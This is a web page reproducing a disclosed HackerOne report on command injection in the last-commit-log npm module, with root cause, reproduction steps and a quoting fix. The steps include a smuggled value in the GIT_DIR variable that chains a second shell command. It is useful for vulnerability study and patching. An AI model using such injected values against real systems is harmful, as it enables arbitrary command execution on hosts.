Skip to content
RCE Disclosed report Beginner

[last-commit-log] Command Injection

The last-commit-log npm module builds a shell command by inserting the value of the GIT_DIR environment variable without quoting it. An attacker who can set that variable can run arbitrary commands on the host.

bilk0h Follow

Originally disclosed on HackerOne

High 7.0 View original
  • Triaged in 11 hours
  • Fixed in 5 months
  • Disclosed after 6 months

I would like to report Command Injection in last-commit-log It allows execution of arbitrary commands

Module

module name: last-commit-log version: [email protected] npm page: https://www.npmjs.com/package/last-commit-log

Module Description

Node.js module to get the last git commit information - mostly to be used by CI/CD and building phase.

Module Stats

[3,253] downloads in the last week

Vulnerability

The value of the GIT_DIR env variable is added to the command here on line 10 and here on line 25 and finally the command is executed on line 36.

Vulnerability Description

Steps To Reproduce:

npm i last-commit-log cat > test.js const LCL = require('last-commit-log'); const lcl = new LCL('.'); // or new LCL(dir) dir is process.cwd() by default lcl .getLastCommit() .then(commit => console.log(commit));

Export malicious GIT_DIR string

export GIT_DIR=". ;touch xxx;"

Run

node test.js

last-commit-log-demo.gif
last-commit-log-demo.gif From the original on HackerOne

Patch

Fix: enclose --git-dir flag in quotes on line 10 like so

this.gitDirStr = GIT_DIR ? `--git-dir="${GIT_DIR}/.git"` : '';

Supporting Material/References:

  • [OPERATING SYSTEM VERSION] Ubuntu 18.04.4 LTS
  • [NODEJS VERSION] v14.0.0
  • [NPM VERSION] 6.14.4

Wrap up

  • I contacted the maintainer to let them know: [Y/N] No
  • I opened an issue in the related repository: [Y/N] No

Impact

Ability to run any command available for attacker.

The original report as published on HackerOne, by bilk0h. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The GIT_DIR environment variable is concatenated into a shell command string without quoting or escaping, so shell metacharacters in it are interpreted.

Impact

An attacker who controls the GIT_DIR variable could run any command available to the process.

What the attacker needed

Ability to set the GIT_DIR env variable

The fix

The fix is to wrap the --git-dir value in quotes so the shell treats it as a single argument; the report does not say whether this was applied.

How it was found

  1. Install the last-commit-log package.
  2. Write a small script that creates an instance and calls getLastCommit.
  3. Set the GIT_DIR environment variable to a value containing shell metacharacters and a command.
  4. Run the script with node and observe the injected command execute.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This package runs a git command in a shell to read the last commit. It pastes the GIT_DIR environment variable straight into that command, so characters like a semicolon end the git command and start a new one. Anyone who can control that variable can make the machine run their own commands.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.